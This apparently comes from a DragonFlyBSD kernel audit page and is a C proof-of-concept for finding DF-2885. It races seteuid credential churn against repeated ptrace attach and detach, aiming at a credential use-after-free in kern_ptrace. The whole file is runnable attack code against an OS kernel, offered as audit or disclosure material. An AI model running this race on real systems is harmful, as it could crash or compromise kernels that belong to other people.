⬢ DragonFlyBSD Kernel Audit
DF-2885 / df2885_ptracecred.c
← back to finding ↓ download raw
/* DF-2885: kern_ptrace reads tracer p_ucred with no crhold while a sibling
 * thread churns p_ucred (cratom_proc replaces + crfree()s under p_spin).
 * Best-effort probabilistic race: thread A flips euid (forced cratom),
 * thread B hammers PT_ATTACH/PT_READ_D on a child.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <signal.h>

static volatile int stop;
static pid_t target;

static void *churn(void *x)
{
	long a = 0, b = 1000;
	while (!stop) {
		if (seteuid((a++ % 2) ? b : 0) < 0)
			perror("seteuid");
	}
	return NULL;
}

static void *trace(void *x)
{
	long n = 0, ok = 0, err = 0;
	while (!stop) {
		if (ptrace(PT_ATTACH, target, NULL, 0) == 0) {
			ok++;
			int st;
			waitpid(target, &st, 0);
			ptrace(PT_DETACH, target, NULL, 0);
		} else {
			err++;
		}
		n++;
	}
	printf("attach attempts=%ld ok=%ld err=%ld\n", n, ok, err);
	return NULL;
}

int main(void)
{
	pthread_t t1, t2;
	target = fork();
	if (target == 0) {
		for (;;) pause();
	}
	printf("target pid %d, racer uid=%d euid=%d\n", target, getuid(), geteuid());
	pthread_create(&t1, NULL, churn, NULL);
	pthread_create(&t2, NULL, trace, NULL);
	sleep(60);
	stop = 1;
	pthread_join(t1, NULL);
	pthread_join(t2, NULL);
	kill(target, SIGKILL);
	waitpid(target, NULL, 0);
	printf("race finished without crash; window not hit (expected: tiny)\n");
	return 0;
}